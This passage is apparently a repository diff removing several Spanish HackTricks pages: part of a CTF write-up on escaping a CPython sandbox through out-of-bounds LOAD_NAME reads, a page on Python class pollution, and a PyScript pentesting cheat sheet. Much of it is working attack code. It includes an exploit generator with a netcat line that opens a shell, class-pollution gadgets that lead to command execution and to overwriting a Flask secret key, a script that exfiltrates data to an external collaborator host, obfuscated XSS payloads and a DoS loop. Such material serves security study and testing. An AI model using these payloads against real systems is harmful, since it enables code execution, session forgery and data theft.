8 RETURN_VALUE12345
|
||||
```
|
||||
Pero, ¿qué sucede si `co_names` se convierte en una tupla vacía? El opcode `LOAD_NAME 2` aún se ejecuta e intenta leer el valor de esa dirección de memoria donde debería estar originalmente. Sí, esto es una "característica" de lectura fuera de límites.
|
||||
|
||||
El concepto principal de la solución es simple. Algunos opcodes en CPython, como `LOAD_NAME` y `LOAD_CONST`, son vulnerables (?) a la lectura fuera de límites.
|
||||
|
||||
Recuperan un objeto del índice `oparg` de la tupla `consts` o `names` (eso es lo que se llama `co_consts` y `co_names` en el fondo). Podemos referirnos al siguiente fragmento corto sobre `LOAD_CONST` para ver lo que hace CPython cuando procesa el opcode `LOAD_CONST`.
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
PyObject *value = GETITEM(consts, oparg);
|
||||
Py_INCREF(value);
|
||||
PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
De esta manera podemos usar la función OOB para obtener un "nombre" desde una dirección de memoria arbitraria. Para asegurarnos de qué nombre tiene y cuál es su dirección, simplemente seguimos intentando `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Y podríamos encontrar algo en oparg > 700. También podemos intentar usar gdb para echar un vistazo a la disposición de la memoria, pero ¿no crees que sería más fácil de esta manera?
|
||||
|
||||
### Generando el Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Una vez que obtenemos esas direcciones útiles para nombres/constantes, ¿cómo obtenemos un nombre/constante de esa dirección y lo usamos? Aquí hay un truco para ti:\
|
||||
Supongamos que podemos obtener un nombre `__getattribute__` desde la dirección 5 (`LOAD_NAME 5`) con `co_names=()`, entonces simplemente hacemos lo siguiente:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Ten en cuenta que no es necesario nombrarlo como `__getattribute__`, puedes nombrarlo de forma más corta o extraña. Puedes entender la razón simplemente viendo su bytecode:
|
||||
```python
|
||||
0 BUILD_LIST 0
|
||||
2 POP_JUMP_IF_FALSE 20
|
||||
>> 4 LOAD_NAME 0 (a)
|
||||
>> 6 LOAD_NAME 1 (b)
|
||||
>> 8 LOAD_NAME 2 (c)
|
||||
>> 10 LOAD_NAME 3 (d)
|
||||
>> 12 LOAD_NAME 4 (e)
|
||||
>> 14 LOAD_NAME 5 (__getattribute__)
|
||||
16 BUILD_LIST 6
|
||||
18 RETURN_VALUE
|
||||
20 BUILD_LIST 0
|
||||
>> 22 LOAD_ATTR 5 (__getattribute__)
|
||||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
Observa que `LOAD_ATTR` también recupera el nombre de `co_names`. Python carga los nombres desde el mismo desplazamiento si el nombre es el mismo, por lo que el segundo `__getattribute__` todavía se carga desde el desplazamiento = 5. Usando esta característica podemos usar nombres arbitrarios una vez que el nombre está en la memoria cercana.
|
||||
|
||||
Para generar números debería ser trivial:
|
||||
|
||||
* 0: not \[\[]]
|
||||
* 1: not \[]
|
||||
* 2: (not \[]) + (not \[])
|
||||
* ...
|
||||
|
||||
### Script de explotación <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
|
||||
No utilicé constantes debido al límite de longitud.
|
||||
|
||||
Primero, aquí hay un script para encontrar esos desplazamientos de nombres.
|
||||
```python
|
||||
from types import CodeType
|
||||
from opcode import opmap
|
||||
from sys import argv
|
||||
|
||||
|
||||
class MockBuiltins(dict):
|
||||
def __getitem__(self, k):
|
||||
if type(k) == str:
|
||||
return k
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
n = int(argv[1])
|
||||
|
||||
code = [
|
||||
*([opmap['EXTENDED_ARG'], n // 256]
|
||||
if n // 256 != 0 else []),
|
||||
opmap['LOAD_NAME'], n % 256,
|
||||
opmap['RETURN_VALUE'], 0
|
||||
]
|
||||
|
||||
c = CodeType(
|
||||
0, 0, 0, 0, 0, 0,
|
||||
bytes(code),
|
||||
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
|
||||
)
|
||||
|
||||
ret = eval(c, {'__builtins__': MockBuiltins()})
|
||||
if ret:
|
||||
print(f'{n}: {ret}')
|
||||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
Y lo siguiente es para generar el exploit real de Python.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
|
||||
|
||||
class Generator:
|
||||
# get numner
|
||||
def __call__(self, num):
|
||||
if num == 0:
|
||||
return '(not[[]])'
|
||||
return '(' + ('(not[])+' * num)[:-1] + ')'
|
||||
|
||||
# get string
|
||||
def __getattribute__(self, name):
|
||||
try:
|
||||
offset = None.__dir__().index(name)
|
||||
return f'keys[{self(offset)}]'
|
||||
except ValueError:
|
||||
offset = None.__class__.__dir__(None.__class__).index(name)
|
||||
return f'keys2[{self(offset)}]'
|
||||
|
||||
|
||||
_ = Generator()
|
||||
|
||||
names = []
|
||||
chr_code = 0
|
||||
for x in range(4700):
|
||||
while True:
|
||||
chr_code += 1
|
||||
char = unicodedata.normalize('NFKC', chr(chr_code))
|
||||
if char.isidentifier() and char not in names:
|
||||
names.append(char)
|
||||
break
|
||||
|
||||
offsets = {
|
||||
"__delitem__": 2800,
|
||||
"__getattribute__": 2850,
|
||||
'__dir__': 4693,
|
||||
'__repr__': 2128,
|
||||
}
|
||||
|
||||
variables = ('keys', 'keys2', 'None_', 'NoneType',
|
||||
'm_repr', 'globals', 'builtins',)
|
||||
|
||||
for name, offset in offsets.items():
|
||||
names[offset] = name
|
||||
|
||||
for i, var in enumerate(variables):
|
||||
assert var not in offsets
|
||||
names[792 + i] = var
|
||||
|
||||
|
||||
source = f'''[
|
||||
({",".join(names)}) if [] else [],
|
||||
None_ := [[]].__delitem__({_(0)}),
|
||||
keys := None_.__dir__(),
|
||||
NoneType := None_.__getattribute__({_.__class__}),
|
||||
keys2 := NoneType.__dir__(NoneType),
|
||||
get := NoneType.__getattribute__,
|
||||
m_repr := get(
|
||||
get(get([],{_.__class__}),{_.__base__}),
|
||||
{_.__subclasses__}
|
||||
)()[-{_(2)}].__repr__,
|
||||
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
|
||||
builtins := globals[[*globals][{_(7)}]],
|
||||
builtins[[*builtins][{_(19)}]](
|
||||
builtins[[*builtins][{_(28)}]](), builtins
|
||||
)
|
||||
]'''.strip().replace('\n', '').replace(' ', '')
|
||||
|
||||
print(f"{len(source) = }", file=sys.stderr)
|
||||
print(source)
|
||||
|
||||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||
```
|
||||
Básicamente, hace lo siguiente para las cadenas que obtenemos del método `__dir__`:
|
||||
```python
|
||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||
builtins = getattr(
|
||||
getattr(
|
||||
getattr(
|
||||
[].__getattribute__('__class__'),
|
||||
'__base__'),
|
||||
'__subclasses__'
|
||||
)()[-2],
|
||||
'__repr__').__getattribute__('__globals__')['builtins']
|
||||
builtins['eval'](builtins['input']())
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -1,276 +0,0 @@
|
|||
# Contaminación de Clases (Prototype Pollution de Python)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Ejemplo Básico
|
||||
|
||||
Comprueba cómo es posible contaminar las clases de objetos con cadenas:
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
class Entity(Developer): pass
|
||||
|
||||
c = Company()
|
||||
d = Developer()
|
||||
e = Entity()
|
||||
|
||||
print(c) #<__main__.Company object at 0x1043a72b0>
|
||||
print(d) #<__main__.Developer object at 0x1041d2b80>
|
||||
print(e) #<__main__.Entity object at 0x1041d2730>
|
||||
|
||||
e.__class__.__qualname__ = 'Polluted_Entity'
|
||||
|
||||
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
|
||||
|
||||
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
|
||||
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
||||
|
||||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
## Ejemplo Básico de Vulnerabilidad
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
emp = Employee()
|
||||
print(vars(emp)) #{}
|
||||
|
||||
# Vulenrable function
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
|
||||
USER_INPUT = {
|
||||
"name":"Ahemd",
|
||||
"age": 23,
|
||||
"manager":{
|
||||
"name":"Sarah"
|
||||
}
|
||||
}
|
||||
|
||||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
```
|
||||
## Ejemplos de Gadget
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Creando un valor predeterminado de propiedad de clase para RCE (subproceso)</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
class HR(Employee): pass # Class inherits from Employee class
|
||||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
recruiter_emp = Recruiter()
|
||||
system_admin_emp = SystemAdmin()
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
# Create default value for Employee.custom_command
|
||||
merge(USER_INPUT, recruiter_emp)
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Contaminando otras clases y variables globales a través de <code>globals</code></summary>
|
||||
|
||||
</details>
|
||||
```python
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class User:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
class NotAccessibleClass: pass
|
||||
|
||||
not_accessible_variable = 'Hello'
|
||||
|
||||
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
|
||||
|
||||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ejecución arbitraria de subprocesos</summary>
|
||||
|
||||
</details>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
|
||||
merge(USER_INPUT, Employee())
|
||||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sobrescribiendo <strong><code>__kwdefaults__</code></strong></summary>
|
||||
|
||||
**`__kwdefaults__`** es un atributo especial de todas las funciones, según la [documentación](https://docs.python.org/3/library/inspect.html) de Python, es un "mapeo de cualquier valor predeterminado para parámetros **sólo de palabras clave**". La contaminación de este atributo nos permite controlar los valores predeterminados de los parámetros sólo de palabras clave de una función, estos son los parámetros de la función que vienen después de \* o \*args.
|
||||
```python
|
||||
from os import system
|
||||
import json
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def execute(*, command='whoami'):
|
||||
print(f'Executing {command}')
|
||||
system(command)
|
||||
|
||||
print(execute.__kwdefaults__) #> {'command': 'whoami'}
|
||||
execute() #> Executing whoami
|
||||
#> user
|
||||
|
||||
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
|
||||
merge(emp_info, Employee())
|
||||
|
||||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sobrescribiendo la clave secreta de Flask en diferentes archivos</summary>
|
||||
|
||||
Entonces, si se puede hacer una contaminación de clase sobre un objeto definido en el archivo principal de Python de la web, pero **cuya clase está definida en un archivo diferente** al principal. Debido a que para acceder a \_\_globals\_\_ en los payloads anteriores, es necesario acceder a la clase del objeto o a los métodos de la clase, se podrá **acceder a los globales en ese archivo, pero no en el principal**. \
|
||||
Por lo tanto, **no se podrá acceder al objeto global de la aplicación Flask** que definió la **clave secreta** en la página principal:
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
En este escenario necesitas un gadget para recorrer archivos y llegar al archivo principal para **acceder al objeto global `app.secret_key`** y cambiar la clave secreta de Flask para poder [**escalar privilegios** sabiendo esta clave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
Un payload como este [de este writeup](https://ctftime.org/writeup/36082):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Utilice este payload para **cambiar `app.secret_key`** (el nombre en su aplicación puede ser diferente) para poder firmar cookies de flask con nuevos y más privilegios.
|
||||
|
||||
</details>
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,109 +0,0 @@
|
|||
## Guía de Pentesting de PyScript
|
||||
|
||||
PyScript es un nuevo marco de trabajo desarrollado para integrar Python en HTML, por lo que se puede utilizar junto con HTML. En esta hoja de trucos, encontrará cómo utilizar PyScript para sus fines de prueba de penetración.
|
||||
|
||||
### Volcado / Recuperación de archivos del sistema de archivos de memoria virtual de Emscripten:
|
||||
|
||||
`ID de CVE: CVE-2022-30286`\
|
||||
\
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
|
||||
out = fin.read()
|
||||
print(out)
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
|
||||
|
||||
### [Exfiltración de datos OOB del sistema de archivos de memoria virtual Emscripten (monitoreo de consola)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
|
||||
|
||||
`ID de CVE: CVE-2022-30286`\
|
||||
\
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
x = "CyberGuy"
|
||||
if x == "CyberGuy":
|
||||
with open('/lib/python3.10/asyncio/tasks.py') as output:
|
||||
contents = output.read()
|
||||
print(contents)
|
||||
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
|
||||
|
||||
### Cross Site Scripting (Ordinario)
|
||||
|
||||
Código:
|
||||
```python
|
||||
<py-script>
|
||||
print("<img src=x onerror='alert(document.domain)'>")
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
|
||||
|
||||
### Cross Site Scripting (Python Ofuscado)
|
||||
|
||||
Código:
|
||||
```python
|
||||
<py-script>
|
||||
sur = "\u0027al";fur = "e";rt = "rt"
|
||||
p = "\x22x$$\x22\x29\u0027\x3E"
|
||||
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
|
||||
e = "c\u003d";q = "x"
|
||||
y = "o";m = "ner";z = "ror\u003d"
|
||||
|
||||
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
|
||||
|
||||
### Cross Site Scripting (Ofuscación de JavaScript)
|
||||
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
|
||||
|
||||
### Ataque DoS (Bucle infinito)
|
||||
|
||||
Código:
|
||||
```html
|
||||
<py-script>
|
||||
while True:
|
||||
print(" ")
|
||||
</py-script>
|
||||
```
|
||||
Resultado:
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,58 +0,0 @@
|
|||
# venv
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
```bash
|
||||
sudo apt-get install python3-venv
|
||||
